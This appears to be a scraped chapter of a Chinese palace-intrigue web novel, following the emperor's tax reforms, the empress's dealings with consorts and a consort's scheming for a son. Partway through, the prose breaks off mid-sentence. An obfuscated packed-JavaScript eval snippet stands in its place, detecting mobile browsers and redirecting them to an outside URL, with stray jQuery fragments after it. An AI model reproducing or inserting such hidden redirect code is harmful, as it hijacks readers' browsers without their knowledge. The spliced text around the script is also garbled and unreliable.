“陛下，方才惠妃娘娘宫中的人来传话，说是四皇子殿下今日午后一直不大舒服，请您过去呢。”岑嘱全捧来一碗热茶放在案边，道。


    “不舒服，就去请御医。”端木玄事不关己道，“朕记得今日是初五？”


    “正是，陛下。”


    “那正好，你去坤宁殿将皇后请来。”


    岑嘱全忙应下，一溜地去了坤宁殿。然而待他到了坤宁殿，才晓得端木汐今日闹了肚子，折腾了一天才算好了，如今连同师冉月一起早已睡下。岑嘱全登时冷汗直流，站在殿门口左也不是右也不是，最终还是“哎呦”叹了一声，轻声挪到殿前，向着门口守夜的小宫女说了原委。


    不多时木莲自暖阁中走出来，叹道：“皇后娘娘今日劳累了一整日，如今已经睡熟了。劳烦岑公公回去与陛下说一声，若没什么要紧事，娘娘明日下朝后再去清和殿面见陛下。”


    岑嘱全无法，只得无功而返，战战兢兢地向端木玄说了前后，没成想端木玄并未责怪，只道：“那便不必了，待朕闲时再去坤宁殿就是。”


    次日一早，师冉月自木莲那里听得了昨夜之事，也没放在心上。她昨日照看女儿一整日，晚上困乏的很，一点动静都未曾听见。如今照常早起，仍觉得有些头晕，便叫小厨房用瓜丝和瘦肉炖上一碗清甜的粥来，配上她自己学着街巷酒肆里老板娘的法子腌的酸辣可口的小菜，倒比那菜样精致的山珍海味吃了更教人舒适。


    好容易吃完，又收拾齐整，却又听说端木玄甫才下朝便遇见了在清和殿前等候的徐聆雨，便一齐进殿，这会儿仍未见徐聆雨出来。师冉月便也不急，正巧再与御医一道看过端木汐，确认了她已没有问题，这才慢悠悠往清和殿去。


    “臣妾参见陛下——怎么不见徐贤妃？”


    “她已经回去了。”端木玄瞧着心情颇为舒畅，递给师冉月两封奏疏，道：“这里一封是官尚书写的，一封是蒋侍郎写的，都是有关税法改革一事，然而他们二人的意见却截然相反。”


    师冉月接过来看了，道：“官大人以为当从田税改起，减免农户田税，以兵役替代，同时加征商税；蒋侍郎却要加征田税，但只加征有田五十亩以上之户......陛下以为呢？”


    端木玄道：“朕以为，二者皆取。”


    “皆取？”


    “对，皆取。令户部分开统计，一年以后，再看谁更胜一筹。另外方才徐贤妃献策于朕，可废除年满十六岁以下者人头税，以口粮税替代，以此减轻养育子女之负担，以保壮丁之数。朕以为此法言之有理，与官尚书的法子结合起来正好。”


    师冉月讪讪道：“陛下此举，意在富国足兵？”


    “正是。”端木玄一副很满意的样子，这会儿已经提笔写起了诏令。师冉月闭了闭眼，想着她欲说的，端木玄本也知道。这番改税也是权宜之计，不过一年，想来出不了什么大乱子。自己一味反对，比起徐聆雨那般献策支持，倒惹人生厌。


    这般想着，她便也不再就此发表意见，只道：“这番除却两位大人，徐贤妃为陛下献策，虽尚未实施，但为陛下分忧，也算有功。陛下可要给她什么赏赐？”


    “徐氏是后宫之人，赏赐一事，便由你看着办罢。”


    “那臣妾斗胆替徐妹妹向陛下求个赏赐，允其晋位为宸妃，如何？”


    宸妃原是太祖皇帝当年为了家世不显的宠姬独设的一个位分，位列四妃之外，但恩宠待遇皆与贵妃比肩。如今徐聆雨恩宠渐衰，膝下又只有一个女儿，实则是到不了此位的。


    “徐妹妹是自王府时便在陛下身边侍候的，又是昌留大长公主之后，特殊些也是应当的。”师冉月微微福着身子，却抬眸望向端木玄。


    端木玄笔墨未停，只道：“后宫之事你做主便是。”


    师冉月这才又一礼，道：“那臣妾便替徐妹妹先行谢过陛下了。”


    芥湖今夏的莲花谢得格外迟。一掬一掬的红莲妖冶得将要溃烂，景致堪称奇异，引得常居湖边的人路过时也忍不住驻足一观。


    张雁独身一人，穿着一身月白色的衣衫，步履漂浮地踱步在这湖边。端木萌带着人找寻过来时，远远瞧见这般身影映在红莲边上，似是湖中的仙子化身显形一般飘忽。端木萌遥遥望到那身影，脚步一顿，心猛地往下一沉。


    行湘扶住端木萌，担心道：“夫人，今年湖边水深，您还是别过去了，叫嬷嬷们去将四夫人请回来罢？”


    端木萌只是望着张雁，纠结了一阵，拍了拍行湘的手：“你去将侯爷昨日送回来的信取过来。”


    待拿到信，端木萌这才脚步轻缓地独自一人继续往湖边走去，直到握着张雁的手坐下来，她才喘匀了一口气，将信递给她扯唇笑道：“这是子持昨日送回来的信——琦哥儿这次随着他伯父一同去沉州，颇有长进，布行新进的一批绸竟是他谈下来的呢。”


    张雁接过信，顺着端木萌手指的方向看了两眼，点点头，又将信塞回端木萌手中，开口道：“既说起琦哥儿，嫂嫂，我有一事相求。”


    她的神情并不似方才身形那般恍惚缥缈，只是说话间总带着些轻微的咳喘，仿佛再开口便要气若游丝说不出话来了。


    端木萌抓紧她的手，道：“妹妹但说无妨。”


    “副都指挥使成巳、成大人，他的幺女，名唤绰仙的，今年十一岁。求嫂嫂为琦哥儿，向成家提亲。”


    “这是什么话！你是琦哥儿的亲娘，待你日后病好了——”


    张雁笑了笑，握了握端木萌的手，道：“嫂嫂，我也懂些医术，何必骗人骗己呢。”


    端木萌却急得几要落泪：“你！你这些日子只把自己圈在那屋中，也不许我们去看你......若是早些请御医来——”


    “御医只会搪塞媚上，也没什么本事。人各有命，我这一生虽有些无聊，但也没全然虚度，总还说得过去。”张雁望向湖中红莲，半晌不语，末了只看着红着眼眶的端木萌轻叹了一声，从她手中抽出自己的手，便踱着步往家中去了。


    乐康四年春闱，师焕得中二甲，赐进士，知魏县。


    师焕少年及第，朝野纷纷议论，赞其有先祖师虑遗风。因着师霖等不在京中，师焕自放榜后便深居简出，授官后更是匆匆离京赴任，因此众人能溜须拍马的便也只有师冉月了。


    连着听了几日，师冉月无趣的很，便对外宣称自己病了，凡入宫的外命妇一概不必到坤宁殿请安，这才换回了清净。


    “娘娘，赵昭容方才派人来问您的病，想来探望您呢。”


    师冉月正巧手头也没什么事，想了想，便道：“只说本宫已经好了，她想来便来罢。”


    赵玉熹两个月前方才又生下了六公主端木清，才出了月子没多久，也不常出来走动，算起来自师冉月上次到耀光殿探望她和二位公主，也过去好一段时间了。


    不一会儿，赵玉熹由吴怀安引着入了殿，向师冉月行礼问安。


    师冉月抬眸看去，只见她穿着一身西子绿的衣裳，腰间的系带是影青色的薄纱。头上只插了两只银钗并素色绒花，另外戴着只石绿抹额。


    “罗幕，给昭容赐座。”师冉月吩咐道，继而又看向赵玉熹，问道：“怎么穿的这般素净？”


    赵玉熹道：“天越发燥热，只有这些素色的衣裳穿起来显得凉爽些。”继而又问起师冉月的病来。师冉月也没有隐瞒，笑道：“不过是推托之词。”


    赵玉熹了然笑笑，继而也不绕弯子，道：“今日臣妾前来，原是想请娘娘应允，将安成公主交由蒋修容抚养。安成甫才一岁多，如今康成又才出生，臣妾实在是有些分身乏术。蒋妹妹入宫这些年尚未有自己的孩子，她又常来我宫中帮我照顾安成，臣妾便想着不如干脆将安成交由她来抚养。若是来日蒋妹妹有了自己的孩子，还想养着安成，或是臣妾再将安成接回来，也都无妨。”


    师冉月点了点头，“安成是你的女儿，既然你和蒋修容都愿意，自然可以。”说罢，便将木莲叫来，命她将此事告知端木玄。


    “若是来日要将安成直接记在蒋修容名下，你们再来与本宫说便是。”


    赵玉熹顿了顿，垂眸想，比起中宫皇后，师冉月倒似是一个大权在握云淡风轻的尚宫，宫中这些妃嫔与庶出的皇子公主如何，倒像是与她一份关系都没有。


    她一时失神，直到音儿亲自端来两盏甜姜茶并一碟绿豆荷叶酥放在案上，又笑着道：“娘娘，惠妃娘娘正等在殿外呢。”


    “请她一并进来吧。”


    不多时，江映款步而至，一条苏梅粉的菱纹裙子，袖口是水红镶边，又用胭脂紫混着金线于裙摆间绣着红莲纹样，步履生辉，衬得她雪白的肤色也染上几分淡粉，瞧着柔嫩别致。


    她盈盈俯身行礼，落座后方才浅笑道：“臣妾听闻皇后娘娘病愈，便想着带三皇子来探望娘娘。可惜三皇子昨夜腹痛，如今虽好了，却也没什么精神，只得臣妾自己一人来了。”


    “小孩子肠胃娇弱。可请御医瞧过了么？”


    “御医瞧过了，说是昨日午后贪凉多吃了两块冰瓜的缘故。”说着，她又看向赵玉熹，道：“还是赵姐姐有福气，得了两个女儿，如今又是听话的时候。”


    赵玉熹笑了笑，只道：“三皇子越发大了，只会越来越懂事。何况孩子听话与否，倒与是男是女没什么干系。惠妃娘娘年轻，又得圣心，若想要女儿，再生一个公主就是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244604|197566||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了。”


    江映却摆手道：“生育之苦，我可不想再经历一遍。何况这孩子在精而不在多，若得这一个教导好了，倒比生养一堆手忙脚乱的要好得多呢。”


    师冉月颔首：“惠妃这话倒是有理。”端木玦与端木汐两个都算懂事的，她倒也没太操心过什么，反倒是师家她那几个侄子总是引得她暗自担忧。


    依她那几个兄嫂所言，师家这辈六个公子，能读书的也就只有师焕和师玘两个，师焕如今算是尘埃落定，师玘如今却一门心思研究经商一事，闲着没事就要去沉州，瞧着完全没有继续在科举上下功夫的意思。其次还算有些聪敏的便是师言，然则他又太过心思细腻敏感，听说最近又研究上了胡琴与琵琶。至于师迟与师琦，更是一门心思骑射玩乐，问起来就是要考武举。


    虽说天下太平则以文治，动乱则以武功，然则师冉月却觉得，若能诗书文章，进能科举入仕，退则乡塾隐居，靠着自家家业，也能过得不错。可只有武功而无头脑，若无上面垂青，也不过是个沙场拼命的士卒，乱世中又有几人能善终！


    何况自家侄子是什么水平她还是有些了解的，平日里与那些纨绔子弟比试比试也就罢了，若是真上了战场，还不一定有乡里的屠夫有本事呢。


    至于师恪，年岁尚幼，来日能如何还未可知。何况依着端木萌的喜好，若这孩子没有能令师霖特别瞩目提拔的天资，恐怕最多也就只能当个富贵闲人供养在家罢了。


    星子高悬，暑气未消，月光照着树影映在榻上，周遭静得能听见冰块在坛中融化的声音。


    徐聆雨斜倚在榻上，闭眼假寐，湖亭跪坐在她身后轻轻帮她按摩着头，眼尖撇到她眼角新生的一条浅浅的纹路，也只不动声色地将手指略微移向那处，反复向上按摩着。


    这点微小的变化还是叫徐聆雨察觉到了。她挥手躲开湖亭的手，直了直身坐起来，喝了口茶，先问道：“公主呢？”


    “殿下在坤宁殿和令成公主玩呢。”


    “她们姐妹倒是要好。”徐聆雨面上没什么表情，一对细眉长拖入鬓，眉间轻耸，道：“老郡王的丧事可办完了？”


    “办完了，郡王妃的人说，再有三五日，她与县主便能抵京了。”


    “她们来不来无妨，重要的是，本宫要的东西可曾找到没有。”


    湖亭闻言有些紧张，不自觉瞟了瞟四周，压低了声音道：“郡王妃说此事要与您当面说......娘娘，那东西就算好用，可必然伤身，您真的要用吗？”


    “若是旁人能指望，自然用不到本宫自己身上。”徐聆雨抬手抚了抚自己眼尾的纹路，看着湖亭那副避讳的样子，又有些心烦，只道；“本宫今年已经三十二岁了，自然比不上那些年轻的。本宫也不奢求，这皇子定要从本宫自己的肚子里生出来，这宫里自然有人‘心甘情愿’为本宫生。”


    湖亭心下自然清楚徐聆雨指的是孙姝妙，然而如今孙姝妙亦不得宠，若要有子，谈何容易。


    说来徐聆雨如今位至宸妃，原本没必要再求一个皇子，然而前些日子徐演猝死，却直到五日后徐聆雨一身素服到清和殿去，端木玄才想起此事，礼部又拖了几日，才堪堪将追谥的诏书发了下去，更别提徐策继位为郡王的诏令了。


    可彼时师家那位四夫人去世，不过次日礼部便主动将追谥等事的奏疏递了上来，端木玄亦是当日批复，恐怕皇后尚未得到消息，京中百官前去吊丧的家眷的车马已经到了逢州了。


    原本这两年江映、赵玉熹等人纷纷得子晋位，徐聆雨心中就始终不大踏实。徐演这事一出，徐聆雨算是彻底不再对端木玄抱有希望，只琢磨着有一个皇子傍身，就算不能扶其坐上皇位，将来随子就藩也比在行宫孤零零的做太妃好。


    “本宫记得，复景元年那批进士，今年大多该调任回京了罢？”


    “是。吏部已下了诏书，着授诸州太守白束道大人为太学监正，总州太守落桓大人并河郡太守沈玄期大人为翰林学士，不日便要就职了。只有那位探花郎吴稳大人上表请求继续外任，如今从江州调到慕州去了。”湖亭一边回忆着这些日子从吏部秉笔的宦官那里打探到的消息，一边说道。


    徐聆雨皱眉想了想，道：“你从本宫那箱子中取出三百两银，待郡王妃进京后便交给她，叫她去结交白大人、落大人还有沈大人这些人家的夫人们。”


    她当年也曾看过白、落等人的文章，瞧起来他们对如今执政的师、官一派因循守旧的路数颇为不满，一心想要改革以挽救王朝于危命，想来不会与师家所代表的“旧党”站在一起，倒正好可以试着拉拢过来为她所用。


    “若是这些人，能让师霖晚些回来，就更好了。”